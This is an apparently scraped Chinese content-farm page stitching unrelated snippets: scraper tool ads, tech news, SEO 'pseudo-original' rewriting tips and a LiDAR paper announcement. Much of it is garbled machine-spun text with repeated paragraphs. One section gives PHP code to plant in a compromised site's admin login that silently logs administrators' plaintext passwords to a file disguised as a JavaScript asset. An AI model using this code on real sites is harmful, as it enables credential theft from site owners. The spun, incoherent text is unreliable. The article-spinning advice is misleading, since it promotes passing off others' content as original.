解决方案:采集器的自动识别算法是什么？如何做好？
　　采集器的自动识别算法很多。大体分两种：1、图片本身很多，如果用自动识别程序将所有图片逐一识别出来，那成本就会非常高。但是，这种程序应该是自动化程度比较高的，一般是不存在这种问题。2、图片本身不多，但是现在有很多抓图软件，一般是不允许人工捕捉本地图片，一般自动抓取都是随机抓取，而且在一定程度上，是图片分辨率越高，自动识别越精准。
　　这种技术上应该没有问题。至于抓取你说的这种图片，不同抓取软件的算法不同，但肯定没有自动识别自动抓取的精准。但目前已经有很多地方在运用这种技术了。从抓取精度看，目前有很多图像分割软件，基本上和人工细致程度相当，但价格很便宜。现在这种技术在信息测量领域应用也比较广泛。我没见过非人工抓取的，一般都是自动抓取。希望对你有帮助。
　　
　　要求太高了，那也就没有，只是去抓取传统数据，抓完了再重新传给其他人，
　　其实直接上网抓api比较多就行，天空图，
　　
　　能不能挖点技术细节到处拿来问，更新慢想获取图片很容易啊，谁谁的爬虫用了xx库都几十秒，不用随便搜一个都几秒，你想用几秒获取图片，
　　有只是图片质量不够高
　　不能。本来图片就少，几秒抓一张的图片，你不用非要让他几秒内抓完，电脑这么做很浪费时间的，至少给我发个按钮上去我秒抓。 查看全部

　　解决方案:采集器的自动识别算法非常的多：圆谷的
　　采集器的自动识别算法非常的多：圆谷的：扫描全脸，核心有ivr，识别度高，算法稳定值。无线的：近眼识别，好多种图像模式，识别度一般，能不能识别很大程度看适不适合。上位机的：自动商品识别，对品类的数量要求比较多，需要批发市场或者大城市才有，识别度很高，有几百种模式。
　　
　　阿里跟高德曾经合作过类似技术，这个算是共同开发技术，
　　提到阿里跟高德合作过类似技术，这个技术有一个优势，就是运营的时候，可以根据这个技术，来做很多相应的活动玩法，实在是在细节方面做得不好的地方，有时候还是不够周到。但阿里还是比较牛逼的，找他们合作过，确实很专业，要求也很高，但是后期实在是坑爹了。他们核心技术还是自己的技术团队，给的解决方案还是很自己清楚，识别也很出色，不会存在跑多了识别率下降的问题。
　　
　　时间一长，就跟这个合作平台的服务有关系了，最大的问题还是在于技术团队自己研发团队，真正去运用的时候出来的效果，是最能体现科技含量的。
　　最近有机会接触到一家专业做图像的技术公司，里面的产品方案是深度学习算法+机器学习算法+云计算平台+互联网业务，他们主要提供算法输出的，就是针对某一个行业和场景去识别某一种类型的照片，需要做到识别速度快，准确率高。现在我们正在考虑合作，看看能不能把他们的特色和优势在一些业务方案中体现出来。 查看全部

　　事实:小米没有开发这样的采集器，谁买谁后悔
　　采集器的自动识别算法本身有一套，现在也基本成熟，那个性能还是很可以的。前提是小米有智能家居的话，智能家居可能有wifi，也可能是nfc，还可能是3g可以用app通过一个程序控制采集器收发数据，至于那个采集卡里面有什么信息，那个可能就得花费时间花钱买或者找人定制或者干脆给你采集卡的技术人员打工，我想没有任何捷径。
　　泻药，小米没有出app。小米的采集器其实就是安卓系统上同样一个app.一般采集软件分布在：小米商城/小米手机（主要是手机上）附近的小米软件商店+小米应用商店（主要是小米手机上）附近的wifi/一些宽带运营商网点/小米的电视，移动运营商网点，他们都有小米的采集器，甚至像nb-iot这样的专门终端，也支持小米的采集器。应该来说，小米没有开发这样的app，他是以软件的形式，普通人手机上就能使用这样的app。
　　
　　小米电视应该有接入小米云服务吧，
　　有一个app叫极速接入，设置下就行了。以前我还在原来的公司时，也用过这个，智能家居只用手机app调用，不需要收费，相对来说还算比较划算。
　　我今天刚在腾讯课堂买了个小米的手环。我先来分享一下我的使用体验，applewatch和googleglass都有哦，不要问我为什么没买小米手环，谁买谁后悔！我的是1代，也是2014年买的。入手以后才发现并不是因为喜欢watch。而是喜欢那个表盘。说明是个颜控。加上facebook账号互通，所以偶尔还是会看看facebook的动态。
　　
　　今天就来做一个采集器吧，是和一位技术支持小哥哥聊到的，于是购买了。后来看到微信推送了一篇电视上用的极速接入的文章，就下载了来看一下。如果有需要就看看吧。外置易奥飞识别器：将手机上安装的四个app分为两部分，包括小米（android）、微信（wxqiu），用于接收app内推送的信息。网络架构是单节点client和单节点server，通过socket通信，支持多个通道或多socket多通道。
　　识别器安装于小米路由器x86平台。第一步：双击googlenetserver进入路由器设置，填写相关端口划分，可以自行对比路由器厂商提供的配置进行设置。路由器上设置好相关端口后可以单击路由器上的网络连接键，使得小米路由器从googlenetserver获取相关位置信息。第二步：双击路由器的googlenetserver按键，该物理机器人开始搜索附近的app。
　　当有app时直接双击，即可连接，不用设置相关的配置。这个方法在其他app上应该也可以用，搜索附近网络再设置即可。（关键是这个能搜索附近app，我在skype或者其他app都搜索不到，但我用这个就能。 查看全部

　　解决方案:黑客利用公司后台弱密码转走730万；全球首款 LCD 屏内多点指纹识别方案发布；
　　近日，由深蓝科技研发的“熊猫智能公交”首次在上海开放道路上进行测试。它是一款纯电动新能源汽车，外形酷似一只大熊猫。内部配备售货柜，支持“刷手”支付。支付方式采用手脉识别生物技术，通过红外线拍摄采集皮肤下3毫米的内部生命体特征，再通过精密算法，匹配识别体内独特DNA的生物特征值掌上支付，完成身份认证，自动绑定支付软件，轻松支付。
　　1个
　　黑客利用公司后台弱密码转账730万
　　近日，上海某公司自主研发的“支付系统”被黑，涉案金额高达730万元。警方经调查发现，共有3个国内外IP地址入侵了“支付系统”。攻击者破解系统管理后台用户名和密码，下载客户资料，成功破解“支付系统”客户端平台，修改用于验证支付的手机号码和支付密码。控制资金划转权限后，他立即向公司7个银行账户发出汇款指令，进行盗款。公司造成巨额经济损失的根本原因是其后台使用了“123456”，世界上最容易破解的弱密码之一。此外，该公司为降低转会费自建“支付系统”，未能在网站依法上线后30日内完成报告，并进行等级保护评估，导致在管理后台处于“裸奔”状态。黑客有更多可乘之机。
　　目前，上海警方根据银行账户记录和资金流向，在14天内抓获了来自全国各地的15名犯罪嫌疑人。可见很多人的密码安全意识还是不强。事实上，强密码是保护网络信息安全最基本、最核心的手段之一。
　　
　　咸鱼要站出来：你还在用容易破解的弱密码吗？
　　2个
　　全球首款液晶屏多点指纹识别发布
　　昨日，天马微电子宣布，其研发的全球首款液晶屏多点指纹解决方案（TFP）正式发布。拥有自主知识产权，具有高集成度、全面屏多点指纹识别、高屏占比等特点。. 此次屏幕采用光学指纹识别方式，将光路调制单元和指纹图像采集器集成到显示屏中，相比外置显示屏厚度减少50%以上准直光路设计方案，让手机变得更轻薄，屏占比也得到了提升。同时，全面屏指纹多点识别方案还首次实现触控、显示、指纹识别三大功能的融合，可应用于全面屏盲解锁、App加密解锁、自定义指纹控制等。这意味着智能终端的人机交互体验将更加多元化。可实现应用锁和全屏指纹识别的结合，点击图标时同时验证指纹，一键解锁，有助于提高手机的安全性和隐私性。甚至可以在点击立即支付的瞬间自动完成指纹验证，大大简化了操作。目前，天马'
　　咸鱼想转身：触控、显示、指纹识别三合一，有点厉害，会给交互体验带来很大改变。
　　
　　3个
　　GitHub 的终极罗曼史：开源代码永存
　　人类文明的成果是最宝贵的财富。无论是为了未来的人类了解过去的历史，还是为了结束之后的重启，都应该妥善保存，传承给后代。为了让开源代码长期安全无虞，GitHub 实施了浪漫的人类计划。7月8日，GitHub将支持当今社会运行的几乎所有开源代码，包括Net、ruby、apache、docker、php等，以及涵盖操作系统、数据库、金融区块链、音频等几乎所有开源代码和视频，前端和后端等。程序明智，存储在 201 胶卷中，打包并运往斯瓦尔巴群岛。斯瓦尔巴群岛位于世界最北端，气候极其寒冷，终年冰封。它是远离世界纷争、保存人类文明的圣地。这些薄膜被放置在钢制容器中，并密封在一个保持-5°C恒温的极度干燥的废弃煤矿中，预计可以保存长达一千年。同时，GitHub 也在研究使用石英玻璃作为存储代码的介质。对电磁干扰、水和热具有良好的适应性，可提供数万年的储存寿命。目前，GitHub 已经以这种形式存储了全球最流行的 6000 个项目代码，以验证其可行性。预计可以持续一千年。同时，GitHub 也在研究使用石英玻璃作为存储代码的介质。对电磁干扰、水和热具有良好的适应性，可提供数万年的储存寿命。目前，GitHub 已经以这种形式存储了全球最流行的 6000 个项目代码，以验证其可行性。预计可以持续一千年。同时，GitHub 也在研究使用石英玻璃作为存储代码的介质。对电磁干扰、水和热具有良好的适应性，可提供数万年的储存寿命。目前，GitHub 已经以这种形式存储了全球最流行的 6000 个项目代码，以验证其可行性。
　　咸鱼要站出来：如果你的代码存入源码，你将获得Github勋章~有人收到了吗？
　　秘密:社工利器后台密码截获方法
　　为什么80%的码农不能成为架构师？>>>
　　当我们用不正常的方法拿下一个服务器或者服务器中的一个站点时，这时候可能不是我们的最终目的。为了得到管理员的明文密码但是被md5困住了，所以我们可以用这个方法来拦截管理员密码
　　在我们需要拦截的网站后台加入：
　　将其添加到普通程序判断用户密码的网站中
　　$ip=$_SERVER['REMOTE_ADDR']; //获取ip
$showtime=date("Y-m-d H:i:s"); //获取日期
$cururl=GetCurUrl();(自己写获取登入路径的函数) //获取登入页面
$record="Username:".$userid." Password:".$pwd." Url:".$cururl." IP:".$ip." Time:".$showtime." \r\n";// 组成成字符串集 里面变量自己更改
<p>
$handle=fopen(&#39;../include/data/ipdata.js&#39;,&#39;a+&#39;); fopen以读写创建打开文件
$write=fwrite($handle,$record); //fwrite函数把刚才的字符串写进文件保存

function getCurUrl() {
if (! empty ( $_SERVER [\"REQUEST_URI\"] )) {
$scriptName = $_SERVER [\"REQUEST_URI\"];
$nowurl = $scriptName;
} else {
$scriptName = $_SERVER [\"PHP_SELF\"];
　　
if (empty ( $_SERVER [\"QUERY_STRING\"] )) {
$nowurl = $scriptName;
} else {
$nowurl = $scriptName . \"?\" . $_SERVER [\"QUERY_STRING\"];
}
}
return $nowurl;
} 自定义获取当前脚本所在url</p>
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　　解决方案:采集器的自动识别算法怎么可能达到几十上百的水平
　　采集器的自动识别算法，怎么可能达到几十上百的水平。况且淘宝已经自己修改了好多年，现在的算法已经有了根本上的提高。还有现在有些人的审核不正确，会判定假货，所以购买的宝贝真假混发很正常。
　　扫描是必须要扫的，既然卖家都敢卖，那就有人卖，
　　不要下载客户端！切记！手机端的去大号，小号无法监控！监控不了！为什么要监控呢，因为手机端评价，
　　
　　淘宝对于评价都是放在一起显示
　　不要上评价网去看，上评价网显示真实评价都被人举报了，都处罚了。
　　建议不要相信评价。一个差评都可能影响你，更别说好评，对于厂家来说。
　　手机上好评别看这么多，看别人主图，越美越好，评论别看全部的。要看自己的主图，越爆的越好。然后就看留言，你要想评价多又不花钱，留言无数就可以成，
　　
　　每个东西没有完美的，仔细看，买东西的人回来说的，看好评的时候差评上有没有说不能退换的。
　　看差评好评有没有骗子营销机构在做操作
　　如果你是外行人，自己就能分辨到好坏，淘宝有个正品的标识。如果是内行人，请学习人民日报或者新华社，人民日报/新华社都有推荐店铺名录，各大网站都有推荐评分系统。
　　淘宝客一个就够一分钱不要留多那是坑如果你想赚钱就买老买家给你的几块十几块 查看全部

　　教程:优采云采集器下载软件简介
　　优采云采集器是新一代智能网页采集工具，智能分析，可视化界面，一键式采集无需编程，支持自动生成采集可以采集99% 的互联网网站 的脚本。该软件简单易学。通过智能算法+可视化界面，你可以抓取任何你想要的数据。采集网页上的数据只需点击一下即可。
　　【软件特色】
　　一键提取数据
　　简单易学，通过可视化界面，鼠标点击即可抓取数据
　　快速高效
　　内置一套高速浏览器内核，配合HTTP引擎模式，实现快速采集数据
　　
　　适用于各种网站
　　能够采集99%的互联网网站，包括单页应用Ajax加载等动态类型网站
　　【特征】
　　向导模式
　　使用简单，通过鼠标点击轻松自动生成
　　定期运行的脚本
　　无需人工即可按计划运行
　　原装高速核心
　　
　　自研浏览器内核速度快，远超对手
　　智能识别
　　智能识别网页中的列表和表单结构（多选框下拉列表等）
　　广告拦截
　　自定义广告拦截模块，兼容AdblockPlus语法，可添加自定义规则
　　各种数据导出
　　支持Txt、Excel、MySQL、SQLServer、SQlite、Access、网站等。
　　干货教程:如何一键批量采集唯品会的商品主图，并且获取商品的链接呢？
　　我们批量下载产品链接和唯品会产品主图。可以用什么方法来操作呢？接下来教大家一个简单好用的方法，批量下载唯品会产品的主图和链接。
　　1）在浏览器中搜索“古桥科技”，搜索后在古桥科技官网下载一个“古桥电商图片助手”，点击免费下载，软件安全无毒，您可以放心下载。
　　2) 打开软件，进入软件首页，勾选页面上方的“自动粘贴网址”。这一步是为了方便我们复制产品链接时，链接会同时自动粘贴到软件操作页面。
　　
　　3）打开唯品会，选择你喜欢的产品图片，点击产品，复制产品链接。可以连续复制几个产品的链接，然后一起下载。
　　4）复制链接后，我们回到软件的操作页面，点击“设置”，然后选择“高级设置”，会弹出一个新的窗口，在里面设置下载产品链接的选项。
　　5）在窗口的下载记录设置中勾选第一个“记录产品标题和原创产品URL”，然后保存设置，这样在下载图片的时候会同时下载产品链接。
　　6）设置完成后，我们会回到主页面，勾选下载选项，勾选需要哪个选项下载什么类型的图片。
　　
　　7) 选择下载选项后，再次选择存储位置开始下载。下载完成后，可以打开文件夹查看下载状态。
　　8）打开文件夹，我们看到下载的图片都是以产品命名的，主图和链接都下载好了，很方便，如果有需要可以按照教程开始下载图片和链接！ 查看全部

　　事实:我也遇到过,腾讯qq提示我qq接收他人远程攻击,
　　采集器的自动识别算法对于部分简单情况是靠谱的，但在复杂情况下比如个别搜索引擎已经开始做cookie检测的情况下，靠自动识别就很难避免被攻击者利用。
　　
　　这个真心安全不起来...我也遇到过,腾讯qq提示我qq接收他人远程攻击,在电脑上登录的不能正常使用,只能通过邮箱才能提供相关的信息,然后找回密码的时候把我的qq号发一遍还不能给我.这种情况真心没办法谁能指望这个提示软件和密码管理器(win7之类)长久的通信
　　目前阿里云有这个功能，需要注册，只有集成接入点才能实现，一般企业如果不直接访问接入点，是不支持的。
　　
　　我通过云域名联盟尝试过啊，但是基本都没用，现在已经封了云服务器，忘了这茬了。唉。都是云自己做的这些破事。我，xxx，被最亲密的同事黑了不止一次，以前的钱白白流失了，写了本小说没法发，伤心到来知乎吐槽，实在是后悔啊。
　　用过腾讯官方的免费cookie扫描仪的。效果嘛，用来放假气话还行。真正用到就不现实了，还是买个号自己用。
　　有个工具如果某网站的cookie被劫持了，是可以拿到网站的所有信息的。用免费的爬虫工具爬取网站的信息也不会给用户造成任何损失。但是如果别人黑了你的网站，你就会成为仇人！是的，仇人。你懂我说的仇人不是仇人你懂的不到你说的仇人的那个维度。 查看全部

　　事实:iphone设计语言不支持截图识别的算法不够？怎么办？
　　采集器的自动识别算法完全可以实现。只是iphone目前没有自动识别的算法，或者说，目前实现效果都不太好。并不是说搜索不行，不过问题在于自动识别的算法不够。题主提到的自动识别和截图识别还是比较容易的，目前苹果已经集成了这项功能，但是光凭图片识别还是不能实现全自动人工截图的，所以我们也需要更强大的算法做支撑。想要更好的识别效果还需要提升机器学习和图像识别的能力。
　　苹果这个是对眼睛的识别，没说对大脑，然后眼睛识别后就以为是图片就自动截图了。是不是苹果都不知道，嗯，这个功能苹果的人工智能怎么说呢？他要针对你喜欢的图片才知道不喜欢，所以我觉得他这个算法就是一个过滤器，他可以识别不感兴趣的内容，
　　
　　iphone的设计语言不支持截图识别，对设备方便快捷方面有很大的影响。我是这么认为的。
　　你去下个cineantex什么的，不能完全识别。用safari和firefox识别还可以，但我认为这个很难。
　　
　　快捷、方便地屏幕截图。感觉越来越发展会自动识别照片边缘。
　　人工智能的难点在于从经验中归纳总结的能力，对大量图片的基础信息进行抽象，然后提取特征，再以此为基础开发各种算法，如矩阵分解，主成分分析等，往往各个算法的实现需要更多前置知识，比如你问的，眼睛看见了什么，有很多情况是从色彩眼睛到灰度眼睛等不同出发点产生的，开发时会受到很多限制，同时又需要用更高等级的数学才能描述现象。
　　而且从物理角度看，光线、角度等基本信息加上这些算法是可以得到真实世界数据的，但人眼有其他比光线更复杂、信息更丰富的感官。 查看全部

　　直观:采集器的自动识别算法，可以根据当前的搜索内容（词）
　　采集器的自动识别算法，可以根据当前的搜索内容（词），推算出可能匹配到的需要抓取的网页，一般就是看前缀后缀能不能构成搜索关键词，并取搜索的时间点，若出现在时间点上，就可以认为可以抓取，将抓取到的网页推送给用户。搜狗的搜索引擎识别的都是前缀后缀结合搜索时间点的结果。
　　
　　对于普通人来说是是很多人遇到的在搜索结果列表里搜索某个关键词不出来或者打开网页源代码中的某个关键词搜索提示框缺少相关搜索词或者部分网页出现了a标签而抓取的网页有部分跟a标签是一样的。像这些情况大多数源代码中没有存储相关搜索词，或者用户要求搜索和前缀后缀匹配不到导致无法抓取到某个网页。主要原因是部分人并不关心搜索结果，更多的还是源代码中存储某些关键词相关而且用户又想找到所需要的结果，如果不想用户去猜测搜索结果所处位置那就必须把不关键词的网页都筛选掉。这就不是目前国内主流搜索引擎，百度和谷歌们需要考虑的问题了。
　　新浪还算是最有良心的搜索引擎了，淘宝和百度联合后就太恶心人了，一个盗版片子，有的还是日本片，连标题都改了，
　　
　　感觉最主要的原因就是搜狗的搜索引擎机制。
　　除了误伤并且实力打脸的新浪微博，其他的搜索引擎都不能100%准确理解人搜索的需求，虽然百度应该会被骂到狗血喷头。但是实际上根据第一次搜索并且学习的记忆，还是能更加正确的理解用户的需求，所以在某些情况下还是能做得到很好的解决需求的。至于百度最近的乱象，个人认为还是新浪微博影响的，搜狗也是受不了新浪集团的报复，与新浪微博发生冲突导致的。 查看全部

　　通用解决方案:Python爬虫有哪些应用场景？
　　随着互联网信息的“爆炸式增长”，网络爬虫逐渐为人们所熟知，并被应用到社会生活的诸多领域。作为一种自动采集网页数据的技术，很多人并不清楚网络爬虫到底可以应用于哪些场景。事实上，大部分依赖数据支撑的应用场景都离不开网络爬虫，包括搜索引擎、舆情分析监测、聚合平台、旅游软件等。
　　搜索引擎是一般网络爬虫最重要的应用场景之一。它使用网络爬虫作为最基本的部分——互联网信息的采集器，让网络爬虫自动抓取来自互联网的数据。例如，谷歌、百度、必应等搜索引擎利用网络爬虫技术采集来自互联网的海量数据。
　　
　　政府或企业利用网络爬虫技术自动采集论坛评论、网络博客、新闻媒体或微博等海量数据网站，使用相关的数据挖掘方法（如词频统计、文本情感话题识别等）发现舆情热点，跟踪目标话题，并按照一定的标准采取相应的舆情控制和引导措施。比如百度热搜榜、微博热搜榜。
　　
　　如今出现的很多聚合平台，比如返利网、买慢买等，也是网络爬虫技术的常见应用场景。所有产品信息都展示在自己的平台上，并提供横向数据对比，帮助用户找到实惠的产品价格。比如，用户慢慢购买平台，搜索华为智能手表后，平台会显示多款华为智能手表的价格分析和价格走势。
　　旅游软件，如飞猪、携程、去哪儿等，也是网络爬虫应用较多的场景。此类应用使用网络爬虫技术不断访问交通官方售票网站刷新剩余车票，一旦发现新的剩余车票，会通知用户补票。不过官方票网站并不欢迎网络爬虫这种行为，因为频繁访问网页很容易导致网站瘫痪。
　　整套解决方案:快兔兔AI采集器 | wordpress采集器
　　Q：如何使用免费的WordPress发布界面？如果我不知道如何编码，我可以学习多长时间？
　　答：直接下载使用！无需知道代码！1分钟学会！
　　问：我每天可以发布多少 文章？支持哪些格式？
　　A：每天可发布数百万篇文章，支持任何格式！
　　Q：不同域名的Wordpress网站也可以发布吗？
　　回答：是的！创建一个新任务只需要大约 1 分钟！
　　Q：我可以设置每天发表多少篇文章吗？可以在指定版块发布吗？
　　
　　回答：是的！一键设置，可以根据不同的栏目发布不同的文章
　　Q：除了wordpress网站发布，Zblogcms程序可以发布吗？
　　回答：是的！支持主要cms发布
　　问：太棒了！
　　A：是的，还有更多功能。
　　例如：采集→伪原创→发布（推送）
　　
　　采集 ：只需设置关键词根据关键词采集文章同时创建几十个或几百个采集任务，可以是设置过滤器关键词只采集与网站主题文章相关，并且软件配置了关键词自动生成工具，只需要进入核心关键词自动采集所有行业相关关键词，自动过滤与行业无关的词。
　　伪原创：伪原创采用AI智能大脑。NLG技术、RNN模型、百度人工智能算法的融合，严格遵循百度、搜狗、360、谷歌等大型搜索引擎算法的收录规则。使用 伪原创 会更好 收录 并被搜索引擎索引。
　　templates原创degree) - 选择标题是否与插入的关键词一致（增加文章与主题行业的相关性）搜索引擎推送（发布后自动推送到搜索引擎文章 增加 文章网站收录)！同时，除了wordpresscms之外，还支持cms网站和站群采集伪原创。
　　以上是小编使用wordpress工具创作的一批高流量网站，全部内容与主题相关！网站从未发生过降级！看完这篇文章，如果觉得不错，不妨采集一下，或者发给有需要的朋友和同事！你的一举一动都会成为小编源源不断的动力！ 查看全部

　　事实:这5个应用你要全有，绝对是老司机无疑！
　　大家好，我是小昊~
　　今天给大家分享5款非常好用的电脑软件，可以解决很多问题，直接上干货！
　　▍1. 格式工厂
　　格式工厂是一款办公工具，可以转换几乎所有类型的多媒体格式，以及文件压缩、图像处理、视频文件修复、文件备份等功能。
　　▍2.Keepass
　　KeePass 是一款功能强大的密码管理软件。它可以帮助您记住电子邮件、主页FTP、Internet、论坛等的用户名和密码，解决您忘记密码的烦恼，节省时间。
　　KeePass 将密码存储在高度加密的数据库中，其他人和其他应用程序无法识别。
　　
　　▍3.优采云采集器
　　优采云采集器 由前 Google 技术团队打造。基于人工智能技术，只需输入网址即可自动识别采集的内容。
　　它可以智能识别数据。智能模式基于人工智能算法。只需输入网址即可智能识别列表数据、表格数据和分页按钮。无需配置任何采集规则，一键式采集。自动识别列表、表格、链接、图片、价格等。
　　流程图模式：只需要根据软件提示点击页面，完全符合浏览网页的思维方式。复杂的 采集 规则可以通过几个简单的步骤生成。结合智能识别算法，任何网页的数据都可以轻松采集。
　　可以模拟操作：输入文本、点击、移动鼠标​​、下拉框、滚动页面、等待加载、循环操作和判断条件等。
　　谢谢大家的支持！
　　▍4.ScreenToGif
　　ScreenToGif是一款非常好用的录屏、拍照、画板和GIF编辑软件，开源免费，功能强大实用。
　　
　　ScreenToGif 整体操作非常流畅，界面也非常简洁，编辑功能也非常丰富。
　　▍5.罗兰
　　Rolan 是一款轻量级的桌面快速启动工具，可以让你快速启动各种软件和命令。常用软件和群组可以自定义管理，提高您的电脑操作效率和办公效率。
　　Launchpad可以灵活设置属性和组结构，自由存储内容；launchpad支持两级分组；快捷方式可以存储在组中；指定文件夹内容实时显示，无需手动进入文件夹；还有浏览器书签、笔记、剪贴板历史、快捷键绑定等等。
　　今天的分享到此结束。感谢您在这里看到它。如果你喜欢它，记得喜欢它，观看它，并与你的朋友分享。
　　▍软件获取
　　##老规矩，文章点击右下角“关注”，点击底部“小光gào”，即可获取资源。你在看，加上鸡腿让我更有动力分享##
　　完美:伪原创的原创度要达到多少才会被认为是优质内容？
　　目前更新的文章在爱站处检测到70%原创，但提交熊掌号的天级收录一直被视为非质量内容，不是收录，不知道要满足什么标准
　　好像原创越多越好，可以使用一些伪原创工具辅助，效率高很多。比如在5118伪原创工具中，锁定主题，然后用它的智能素材插入几篇文章，将不同的段落拼成一篇，使用5118 smart伪原创，然后修改润色一个人，在 30 分钟内完成一个高质量的 文章 作品
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　　60%以上可以用，80%以上是优质
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　　70%以上，测试用的工具不一定准确
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　　这取决于网站的质量。即使一个高权重的旧网站抄袭你，收录 也会比你的网站快。
　　
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　　既然关注原创的程度，那么直接原创，或者用自己的话表达原文，就像写和读一样，这个基本可以算是原创。
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　　尽可能高，这不是一个好主意。
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　　这并不意味着 伪原创 的高水平意味着高质量的内容。这是两种不同的东西。如果只是从 SEO 的角度来看，肯定是尝试有更高程度的 伪原创 更好。
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　　百分之七十
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　　为什么有些公司要求原创的度数为80%？我认为这更好
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　　其实原创的度虽然重要，但对用户有用更重要，最重要的是坚持
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　　坚持优化，文章内容很多，换头换尾，然后把两个文章内容合二为一文章原创度肯定会高
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　　关键词替换，相似词替换，开头和结尾自己写，段落洗牌，但这一切都没用，高质量的伪原创其实和原创差不多。
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　　60%以上，还有网站权重的问题，让文章可以排在前面
　　###
　　超过 60%
　　###
　　增加体重，踩比自己体重轻的人 查看全部

　　最新发布:IROS 2022收录论文名单出炉 毫末智行两篇激光雷达算法论文入选
　　自动驾驶汽车如何利用时空信息更好地识别移动物体，在没有定位导航的情况下如何知道“我在哪里”？这是目前自动驾驶正在攻克的技术难题。现在，中国自动驾驶人工智能公司猫眼智行提出了更好的解决方案。
　　6月30日，米魔智行的两项最新研究成果成功入选机器人领域顶级学术会议IROS（IEEE/RSJ International Conference on Intelligent Robots and Systems International Conference on Intelligent Robots and Systems）2022，并将在近期发表在 IROS 2022 会议上。发表。
　　陌陌智行团队最新提交的两个研究成果是：《Efficient Spatial-Temporal Information Fusion for LiDAR-Based 3D Moving Object Segmentation》OverlapTransformer: An Efficient and Yaw-Angle-Invariant Transformer Network for LiDAR-Based Recognition”（” OverlapTransformer：一种基于 LiDAR 的高效、独立于旋转的位置识别网络”）。
　　
　　两篇论文从2000多篇投稿中脱颖而出，成功入选。结合激光雷达在自动驾驶汽车中的应用，提出一种新的激光雷达运动目标分割深度神经网络和一种新的基于激光雷达的位置识别算法，帮助自动驾驶汽车有效利用时空信息，识别运动目标，快速准确定位。本身，从而大大提高了激光雷达的感知能力。
　　随着近年来激光雷达在自动驾驶领域应用的逐步深入探索，其强大的空间3D分辨率能力被普遍认为是自动驾驶技术向高水平升级和商业落地过程中的重要能力。 . 但硬件采集的信息数据也需要通过算法进行更快、更准确的分析，以帮助自动驾驶汽车更好地利用它们，实现更安全的驾驶。陌陌知行的两篇论文就是从这个角度切入的。
　　在《Efficient Spatial-Temporal Information Fusion for LiDAR-Based 3D Moving Object Segmentation》中指出，准确的运动物体分割是自动驾驶的重要任务，如何有效利用时空信息是3D LiDAR运动物体的关键分割问题。为此，陌陌提出了一种新的深度神经网络，利用激光雷达的时空信息和不同的表示模式来提高激光雷达MOS的性能。具体来说，毛沫提出了一种新颖有效的基于激光雷达的在线运动目标分割网络，该网络采用双分支结构更好地融合时空信息，并引入了“从粗到细”的方法。一种减少对象边界上的边界模糊问题的策略，在保持实时性能的同时，性能一举超越了之前的网络。目前，相关方法在 SemanticKITTI MOS 基准上实现了最先进的激光雷达 MOS 性能。
　　在论文《OverlapTransformer: An Efficient and Yaw-Angle-Invariant Transformer Network for LiDAR-Based Place Recognition》中，郝默提出了一种新的位置识别方法，使用安装在自动驾驶汽车上的 3D LiDAR 生成的距离图像进行位置识别，该方法只能使用激光雷达在没有任何其他信息的情况下检测 SLAM 的闭环候选或直接给出位置识别的数据，并在很长一段时间内很好地推广到不同的环境而无需微调。跨跨度室外大规模环境（毫端数据集）中的长期位置识别。OverlapTransformer 比大多数最先进的方法运行得更快，并且在所有指标上都达到了 SOTA。
　　
　　IROS（IEEE/RSJ International Conference on Intelligent Robots and Systems，IEEE/RSJ International Conference on Intelligent Robots and Systems）是全球机器人与智能系统领域最著名和影响力的顶级学术会议之一。IROS 2022，主题为“Embodied Artificial Intelligence for a Symbiotic Society”，将于 10 月 23 日至 27 日在日本京都举行。
　　作为中国量产自动驾驶的No.1，在过去的两年半时间里，陌陌智行凭借强大的技术创新能力和快速的产品上市能力，获得了行业内外的广泛认可。MANA是陌陌打造的中国自动驾驶领域首个数据智能系统，通过定义和使用数据智能，提升自动驾驶产品的能力。截至2022年6月，MANA数据智能系统MANA的学习时间已超过24万小时，虚拟驾驶体验相当于人类驾驶员2万年的驾驶时间。基于MANA强大的能力、规模化的量产能力和日益成熟的商业模式，猫猫建立了完整的数据闭环，
　　终极:如何利用文章采集器让搜索引擎蜘蛛疯狂收录排名
　　如何使用文章采集器让蜘蛛疯狂收录等级？每个搜索引擎都有自己的蜘蛛程序。蜘蛛程序通过网页的链接地址搜索该网页，直到爬取到这个网站的所有网页，然后通过搜索引擎算法对网站进行评价，得到评价。如果把互联网比作蜘蛛网，那么蜘蛛程序对每张网站图像的爬行活动就称为蜘蛛爬行。
　　如何吸引蜘蛛爬取页面
　　1.一个网站和页面权重。算是质量上乘，老的网站的权重比较高。这个网站的网络爬取深度会比较高，也收录很多。
　　2、网站的更新频率。蜘蛛抓取的每个页面的数据存储。如果爬虫第二次发现第一个收录完全相同的页面，则该页面不会更新，并且蜘蛛不需要经常捕获它。网站的页面内容更新频繁，蜘蛛会更频繁地访问该页面，页面上会出现一个新的链接，这将更快地跟踪和抓取蜘蛛。
　　3. 网站 的原创 内容。百度蜘蛛的诱惑很大原创内容，原创内容的主食，搜索引擎蜘蛛每天都需要。
　　4、网站的整体结构。包括：页面更新状态、标题、关键词、标题、关键词、meta中嵌入的描述标签、导航栏等。
　　5.施工现场图。网站地图就像一个灯塔，唯一一个清晰的灯塔可以指引蜘蛛的下落。引诱更多蜘蛛的便捷方式。
　　6.内部链接优化。蜘蛛来到你的网站，自然是通过你的网站的结构，通过你的网站，你几乎可以运行任何网站链接，在这些链接中很容易导致死链接蜘蛛爬出来。更多的时候，百度自然会来你的网站没有好感。
　　7. 外部 网站 链接。要成为蜘蛛爬虫，页面必须有一个传入链接，否则蜘蛛没有机会知道该页面的存在。
　　
　　8.监控蜘蛛爬行。可以使用网络日志蜘蛛知道哪些页面被爬取，可以使用SEO工具查看蜘蛛频率，合理分配资源，实现更高的速度和更多的蜘蛛爬取。
　　提高网站的收录的排名是通过网站优化SEO，可以参考SEO的优化方法。简单来说，可以从以下几个方面进行改进：
　　1、改进网站结构的布局，使结构合理，层次分明；
　　2、保证网页内容的原创性质并定期更新；
　　3、增加网页的反向链接，与网站做友情链接，在搜索引擎中排名更好；
　　4.优化URL链接，可以在URL中适当添加一些关键词，并使用中文拼音；
　　5. 永远把用户体验放在第一位。
　　通过以上信息，我们了解了网站内容更新的重要性。网站 更新频率越快，蜘蛛爬行的频率就越高。数量会减少，减少网站的权重。由于个人精力有限原创，难以保证大量长期更新。如果邀请编辑，投入产出比可能为负。但是只要方法得当，采集的效果并不比原创差多少，甚至比那些没有掌握方法的原创好很多。
　　如何选择好的文章采集器？
　　
　　1.直接访问大量关键词，这些关键词都是百度统计的网民需求词（有百度索引），或者这些词的长尾词，来自百度下拉框或相关搜索。
　　2、直接按关键词采集智能解析要抓取的网页正文，无需编写采集规则。
